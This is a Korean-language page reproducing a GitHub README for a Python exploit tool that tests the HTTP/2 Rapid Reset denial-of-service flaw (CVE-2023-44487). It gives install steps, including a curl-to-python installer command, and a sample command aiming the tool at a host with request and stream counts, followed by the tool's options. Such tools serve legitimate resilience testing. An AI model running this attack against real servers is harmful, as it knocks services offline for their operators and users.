studiogangster/cve-2023-44487파이썬 기반 익스플로잇으로 래피드 리셋 공격(CVE-2023-44487)을 테스트하기 위한 도구입니다.
Rapid Reset 공격(CVE-2023-44487)을 테스트하기 위한 빠른 익스플로잇입니다. 참고: 교육 목적으로만 사용하세요.
Rapid Reset 공격(CVE-2023-44487)을 테스트하기 위한 빠른 익스플로잇입니다. 참고: 교육 목적으로만 사용하세요.
Git을 사용하여 저장소를 로컬 머신에 클론하고, poetry를 설치한 후 프로그램을 실행하세요:
git clone https://github.com/studiogangster/CVE-2023-44487.git
cd CVE-2023-44487
# install Poetry, if you haven't already:
curl -sSL https://install.python-poetry.org | python -
# poetry install
poetry install
# Activate the virtual environment created by Poetry:
poetry shell
# Run Help
python main.py
## Example:
python main.py --host example.com --path /api --headers "Authorization: Basic dummy-token ; Custom-Header:Custom-Header-Value" --port 443 --requests_count 100 --max_streams 20 --parallel_connections 2
Usage: main.py [OPTIONS]
Options:
--host TEXT Host URL [required]
--path TEXT Path on the host [required]
--headers TEXT Headers (comma-separated) [required]
--port INTEGER Port number [required]
--requests_count INTEGER Number of requests to be sent [required]
--max_streams INTEGER Maximum streams to be opened in parallel
[required]
--parallel_connections INTEGER Number of parallel connections to be made
with the server. (TCP connection)
[required]
--help Show this message and exit.